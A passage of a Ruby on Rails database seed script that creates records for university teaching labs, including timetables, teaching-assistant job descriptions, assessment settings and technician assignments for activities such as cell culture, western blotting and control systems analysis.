$resit_low.id)\n ActivityGta.where(activity_id: a592.id).first_or_create!(criteria: \"\",\n job_desc:\"Staining animal tissue sections using H&E - paraffin embedded and frozen sections\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a592.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a592.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a592.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a593 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2530\").first.id, code: \"unknowncode70\").first_or_create!(name: \"Cell culture 2: MTT Assay\",\n name_abrv: \"MTTASSAY\", archived: true, in_drive: false, user_id: 4)\n at593 = ActivityTimetable.where(activity_id: a593.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a593.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a593.id).first_or_create!(criteria: \"Cell culture and aseptic technique. Biological assays.\",\n job_desc:\"Using the MTT assay to measure metabolic activity of the cells seeded onto biomaterial disks\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a593.id).first_or_create!(assess_weight: nil, notes: \"Includes aseptic techniques\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a593.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a593.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a594 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2530\").first.id, code: \"unknowncode71\").first_or_create!(name: \"Cell culture 1: Aseptic techniques\",\n name_abrv: \"ASEPTICTECH\", archived: true, in_drive: false, user_id: 1)\n at594 = ActivityTimetable.where(activity_id: a594.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a594.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a594.id).first_or_create!(criteria: \"Cell culture and aseptic technique.\",\n job_desc:\"Seeding HaCaT cells onto 3 biomaterial disks to investigate biocompatibility\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a594.id).first_or_create!(assess_weight: nil, notes: \"Post is MOLE test.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a594.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a594.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a595 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2410\").first.id, code: \"unknowncode72\").first_or_create!(name: \"Superhydrophobic surfaces\",\n name_abrv: \"SUPERSURF\", archived: true, in_drive: false, user_id: 4)\n at595 = ActivityTimetable.where(activity_id: a595.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a595.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a595.id).first_or_create!(criteria: \"\",\n job_desc:\"Making a superhydrophobic surface and investigating hydrophilicity and hydrophobicity of materials (water contact angle)\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a595.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a595.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a595.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a596 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2410\").first.id, code: \"unknowncode73\").first_or_create!(name: \"Polymers and hydrogels\",\n name_abrv: \"POLY&HYDROGELS\", archived: true, in_drive: false, user_id: 4)\n at596 = ActivityTimetable.where(activity_id: a596.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a596.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a596.id).first_or_create!(criteria: \"\",\n job_desc:\"Investigating the properties of polymers, including hydrogels, and immobilizing yeast in alginate beads.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a596.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a596.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a596.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a597 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT209\").first.id, code: \"unknowncode74\").first_or_create!(name: \"Gel electrophoresis\",\n name_abrv: \"GELELEC\", archived: true, in_drive: false, user_id: 2)\n at597 = ActivityTimetable.where(activity_id: a597.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a597.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a597.id).first_or_create!(criteria: \"\",\n job_desc:\"Separating proteins by SDS-PAGE\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a597.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a597.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a597.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a598 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT209\").first.id, code: \"unknowncode75\").first_or_create!(name: \"Western blotting\",\n name_abrv: \"WESTBLOT\", archived: true, in_drive: false, user_id: 4)\n at598 = ActivityTimetable.where(activity_id: a598.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a598.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a598.id).first_or_create!(criteria: \"\",\n job_desc:\"Western Blotting\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a598.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a598.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a598.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a599 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT408\").first.id, code: \"unknowncode76\").first_or_create!(name: \"Live cell imaging 1\",\n name_abrv: \"CELL1\", archived: true, in_drive: false, user_id: 2)\n at599 = ActivityTimetable.where(activity_id: a599.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a599.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a599.id).first_or_create!(criteria: \"Cell culture and aseptic technique, microscopy.\",\n job_desc:\"Scratch assay using HaCaT cells and setting up live cell imaging system to capture cell migration; labelling cells with a fluorophore and capturing images. Analysing cell migration data using ImageJ.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a599.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a599.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a599.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a600 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT408\").first.id, code: \"unknowncode77\").first_or_create!(name: \"Live cell imaging 2\",\n name_abrv: \"CELL2\", archived: true, in_drive: false, user_id: 4)\n at600 = ActivityTimetable.where(activity_id: a600.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a600.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a600.id).first_or_create!(criteria: \"Cell culture and aseptic technique, microscopy.\",\n job_desc:\"Scratch assay using HaCaT cells and setting up live cell imaging system to capture cell migration; labelling cells with a fluorophore and capturing images. Analysing cell migration data using ImageJ.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a600.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a600.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a600.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a601 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE280\").first.id, code: \"unknowncode78\").first_or_create!(name: \"Mammalian cell culture\",\n name_abrv: \"MAMMALIAN\", archived: true, in_drive: false, user_id: 2)\n at601 = ActivityTimetable.where(activity_id: a601.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a601.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a601.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a601.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a601.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a601.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a602 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE190\").first.id, code: \"unknowncode79\").first_or_create!(name: \"Enzyme activity\",\n name_abrv: \"ENZYME\", archived: true, in_drive: false, user_id: 4)\n at602 = ActivityTimetable.where(activity_id: a602.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a602.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a602.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a602.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a602.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a602.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a603 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1410\").first.id, code: \"unknowncode80\").first_or_create!(name: \"Protein detection\",\n name_abrv: \"PROTEIN\", archived: true, in_drive: false, user_id: 1)\n at603 = ActivityTimetable.where(activity_id: a603.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blb.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a603.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a603.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a603.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a603.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a603.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a604 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC604\").first.id, code: \"415\").first_or_create!(name: \"Measurement lab plus\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at604 = ActivityTimetable.where(activity_id: a604.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, max_week_num: 4, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a604.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a604.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a604.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a604.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n\n\n a605 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC604\").first.id, code: \"521\").first_or_create!(name: \"Rolling Spheres\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 5)\n at605 = ActivityTimetable.where(activity_id: a605.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: 6, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a605.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a605.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a605.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a605.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n\n\n a606 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR199\").first.id, code: \"432\").first_or_create!(name: \"Stokes Law and Viscosity\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at606 = ActivityTimetable.where(activity_id: a606.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a606.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a606.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a606.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a606.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a606.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a607 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE340\").first.id, code: \"129\").first_or_create!(name: \"Continuous Manufacturing of pharmaceutical tablets\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at607 = ActivityTimetable.where(activity_id: a607.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, max_week_num: 8, pref_room_id: $room_pp.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a607.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a607.id).first_or_create!(criteria: \"Interest/experience in powder science and technology. Preferably have a good understanding in different unit operations used for granulation and tableting. The equipment is an industrial scale has various unit operations linked together in one line.\",\n job_desc:\"In this lab, GTAs are required to supervise groups of students to work on the continuous tabletting line- Consigma in the Pilot plant and carry out an experimental investigation. Students will need to run the line and produce some granules and tablet as well as collect different types of data. As a GTA, training will be provided for the experiments, and you will be assisting students to carry out the experiment safely and help them to change some process parameters.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a607.id).first_or_create!(assess_weight: 10.0, notes: \"in post lab, students will be asked to answer few question and submit this as an assignment through Blackboard\",\n pre_assess_type_id: $ass_form.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a607.id).first_or_create!(cost_per_student: nil, equip_needed: \"Consigma line, ModulP, MT50 Hardness Tester\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a607.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a608 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR332\").first.id, code: \"241\").first_or_create!(name: \"inspection of welds\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at608 = ActivityTimetable.where(activity_id: a608.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a608.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a608.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a608.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a608.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a608.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a609 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC455\").first.id, code: \"542\").first_or_create!(name: \"TBC\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at609 = ActivityTimetable.where(activity_id: a609.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 7, max_week_num: 7, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a609.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a609.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a609.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a609.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n\n\n a610 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC455\").first.id, code: \"543\").first_or_create!(name: \"TBC\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at610 = ActivityTimetable.where(activity_id: a610.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 7, max_week_num: 7, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"ACME535MEC445 should be completed before attending this lab\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a610.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a610.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a610.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a610.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n\n\n a611 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS230\").first.id, code: \"241\").first_or_create!(name: \"Control Systems Analysis\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 5)\n at611 = ActivityTimetable.where(activity_id: a611.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 10, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a611.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a611.id).first_or_create!(criteria: \"Understanding of physical systems modeling, the analysis of 1st and 2nd order systems, bode diagrams and root locus plots\",\n job_desc:\"This laboratory involves analysis of s-domain control systems using bode diagrams and root locus plots, an understanding of stability margins and control system types.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a611.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a611.id).first_or_create!(cost_per_student: nil, equip_needed: \"Loads\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n\n\n a612 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6733\").first.id, code: \"429\").first_or_create!(name: \"Weirs\",\n name_abrv: \"WEIRS\", archived: false, in_drive: false, user_id: 5)\n at612 = ActivityTimetable.where(activity_id: a612.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a612.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yxbxl4o9\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a612.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a612.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_mole.id, num_assess: 